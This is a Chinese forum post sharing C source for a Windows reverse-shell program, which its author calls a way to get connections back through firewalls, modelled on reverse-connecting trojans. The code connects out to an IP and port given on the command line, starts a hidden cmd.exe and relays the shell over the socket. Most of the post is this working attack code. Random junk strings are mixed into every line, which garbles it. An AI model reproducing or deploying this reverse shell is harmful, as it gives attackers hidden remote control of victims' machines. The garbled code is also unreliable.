社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5981阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 }kw#7m54  
.Yamc#A-  
/* ============================== AVsDt2A  
Rebound port in Windows NT a(m2n.0'>  
By wind,2006/7 5c@,bIl *  
===============================*/ h/QXPdV  
#include Q4#.X=.d  
#include Z\(q@3C  
f$o_e90mu  
#pragma comment(lib,"wsock32.lib") rX U  
Yj<a" Gr4[  
void OutputShell(); lne|5{h  
SOCKET sClient; $H2u.U<ip  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; SJlr53  
~T"Rw2v b  
void main(int argc,char **argv) %HhBt5w  
{ D5gFXEeh  
WSADATA stWsaData; '9%\;  
int nRet; T )&A2q  
SOCKADDR_IN stSaiClient,stSaiServer; K6)Gc%:`  
}g@v`5  
if(argc != 3) WSP I|#Xr%  
{ ob!P ;]T  
printf("Useage:\n\rRebound DestIP DestPort\n"); A\*>TN>s  
return; &.F4 b~A7  
} h! ,v/7=  
a)!o @  
WSAStartup(MAKEWORD(2,2),&stWsaData); `C,n0'PL.  
;'gWu  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Yz9owe8}[  
Hkg2P ,2  
stSaiClient.sin_family = AF_INET; NYhB'C2  
stSaiClient.sin_port = htons(0); Q@=Q0  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ynp8r f  
i[i4h"$0  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) M+oHtX$  
{  X hR4ru`  
printf("Bind Socket Failed!\n"); {% 6}'  
return; a1+oj7  
} RCJ|P~*  
v<k?Vu  
stSaiServer.sin_family = AF_INET; O/^ %2mG  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); V(}:=eK  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); g%o(+d  
pt?bWyKG  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 7K12 G!)  
{ cUk7i`M;6  
printf("Connect Error!"); c&6 I[ R  
return; W@>% {eE  
} oueC  
OutputShell(); hy1oq7F(Q  
} G+9,,`2  
39c2pV[  
void OutputShell() 8H[<X_/ke  
{ `K"L /I9  
char szBuff[1024]; oE @a'*.\  
SECURITY_ATTRIBUTES stSecurityAttributes; Q)#B0NA;T  
OSVERSIONINFO stOsversionInfo; x%=si[P  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Xc ++b|k  
STARTUPINFO stStartupInfo; {'flJ5]  
char *szShell; y<UK:^t31V  
PROCESS_INFORMATION stProcessInformation; E#RDqL*J  
unsigned long lBytesRead; sQ3 [<  
^^u5*n+5  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); .D~;u-%|F  
,O5NLg-  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); W_293["lS  
stSecurityAttributes.lpSecurityDescriptor = 0; B^=-Z8  
stSecurityAttributes.bInheritHandle = TRUE; {L971W_L  
@ )F)S 7  
`%bypHeSp  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); >dXGee>'M  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); :9afg  
te`$%NRl  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); E)&I@m  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1dY}\Sp  
stStartupInfo.wShowWindow = SW_HIDE; b)#hSjWO#  
stStartupInfo.hStdInput = hReadPipe; Y>z>11yEB0  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; BU)U/A8iS  
gk4;>}  
GetVersionEx(&stOsversionInfo); <\ y@*fg+  
Oxnp0 s  
switch(stOsversionInfo.dwPlatformId) u]wZQl#-  
{ eu|YCYj)g  
case 1: Ufj`euY  
szShell = "command.com"; hF?1y`20  
break; _RYxD"m y  
default: L- iy  
szShell = "cmd.exe"; hW' )Sp  
break; yf)%%&  
} $p8xEcQdU#  
;a!S!% .h  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); T"Y+m-<%  
234p9A@  
send(sClient,szMsg,77,0); D8Ic?:iX[  
while(1) <{p4V|:  
{ G>_*djUf  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); mUC)gA/  
if(lBytesRead) K g*Q  
{ )}R0Y=e  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); FkDmP`Od  
send(sClient,szBuff,lBytesRead,0); tFn)aa~L  
} k}CVQ@nd  
else )m+W j  
{ bP#:Oi0v`  
lBytesRead=recv(sClient,szBuff,1024,0); uc{Ihw  
if(lBytesRead<=0) break; YqD=>P[O  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); {W`%g^Z|H  
} X0 5/uX{  
} :G=fl)!fE  
TqQB@-!  
return; ,t744k')  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五